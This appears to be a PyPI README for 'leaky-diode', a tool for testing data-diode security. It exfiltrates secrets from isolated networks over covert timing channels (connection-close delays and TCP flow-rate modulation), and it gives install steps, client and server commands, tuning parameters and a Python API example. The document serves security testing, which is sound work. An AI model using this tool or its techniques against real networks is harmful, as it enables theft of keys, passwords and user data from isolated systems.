Package: leaky-diode
Leaky DiodesLeaky diode is a data exfiltration test tool forsmartdata diodes, that is
data diodes with support for TCP pass-through with the help of some side channel
from the isolated side. The attacks used areflow modulationand/orclose delay:CLOSE DELAYuses the delay between the request of one the secret's bits and
the time the server closes the connection to encode the bit value. (i.e.- 10 seconds
delay means a 0, 30 seconds delay a 1)FLOW MODULATIONuses tcp flow control mechanism to encode secret's bits as
a transfer speed. For example if the the bit requested by the client is 1 the server
throttles the speed to 300KB/s, if it's 0 to 100KB/s. The advantage of this attack is
that using a single connection makes it harder to detect.InstallationDownload the package or clone the repository, and then install with:python3setup.pyinstallor use pypi:pipinstallleaky_diodeUsageOn the isolated side launch the server:leaky_serverpublic_ipport'secret string that needs leaking'On the untrusted side launch the client and select one of the attacks,leaky_clientserver_ipserver_port--modeflow--partialorleaky_clientserver_ipserver_port--modeclose--partialAnd just wait a few minutes to receive the first byte (it's the slowest), if you're not sure
if it's working add --verbose option so it prints messages on each received bit.Optionsusage:leaky_client[-h][--modemode][--low_delaydelay][--high_delaydelay][--low_raterate][--high_raterate][--sample_timetime][--settle_timetime][--partial]hostport

LeakyDiodeisadataexfiltrationtesttoolfordatadiodes

positionalarguments:hostRemorehostaddressportRemotehostport

optionalarguments:-h,--helpShowthishelpmessageandexit--modemode,-mmodeAttackmode'flow'or'close'(default:flow)--low_delaydelayClosedelayforlowbits(default:5s)(onlyCloseMode)--high_delaydelayClosedelayforhighbits(default:10s)(onlyCloseMode)--low_raterateTxrateforlowbits(default:64KB/s)(onlyFlowMode)--high_raterateTxrateforhighbits(default:300KB/s)(onlyFlowMode)--sample_timetimeTxratesamplinginterval(default:3.0s)(onlyFlowMode)--settle_timetimeSettletimebetweensendingabitrequestandthestartofsampling(default:8.0s)(onlyFlowMode)--partialShowpartialresultseachtimeanotherbytefromthesecretisreceived--verboseShowdebuggingmessagesusage:leaky_server[-h]hostportsecret_string

LeakyDiodeisadataexfiltrationtesttoolfordatadiodes

positionalarguments:hostRemorehostaddressportRemotehostportsecret_stringAttackmode'flow'or'close'(default:asecretstring)optionalarguments:-h,--helpShowthishelpmessageandexit-v,--verboseShowdebuggingmessagesPerformanceThe attack throughput with the default parameters is around 1 B/min (yes, one byte per minute),
you can increase it by lowering the delay times inclose delaymode, and the settle/sample
times inflow modulation(the default values are very conservative)An actual exfiltration attempt using this attack could easily leak a few KB per day, too slow
for large breachs, but enough for targeted attacks for keys/passwords or selected users data.APIIt is also possible to use leaky_diode as a package and include a server in your own app:class LeakyServer(host, port, secret, ticks=100, max_connections=10)host: (str) Listen interface ip addres ('' for all)port: (int) Listen portsecret: (bytes) Secret to leak (max length 65535)ticks: (int) Ticks per second the worker process use to throttle the connections.max_connections: (int) Max concurrent connection the server can handle.start(): Initialize and launch server worker processesstop(): Stop server and its workersfromleaky_diodeimportLeakyServerleaky_server=LeakyServer('192.168.0.10',9000,b'some secret byte string')leaky_server.start()# Do something else......# Close server before exitleaky_server.close()TODOHarden message parsing input validation (invalid lengths)Use concurrent connection to increase exfiltration speed.Tune flow modulation mode tx speeds .Tune close delay mode delays.Add CRC to the secret and secret length, or even better error correction.Add resume capability so there is no need to get the secret in one go.Add some tests.ReferencesData DiodesWikipediaPlace holder so I remember to publish a post on the attacksAnd another on transport and streaming protocols for data diodes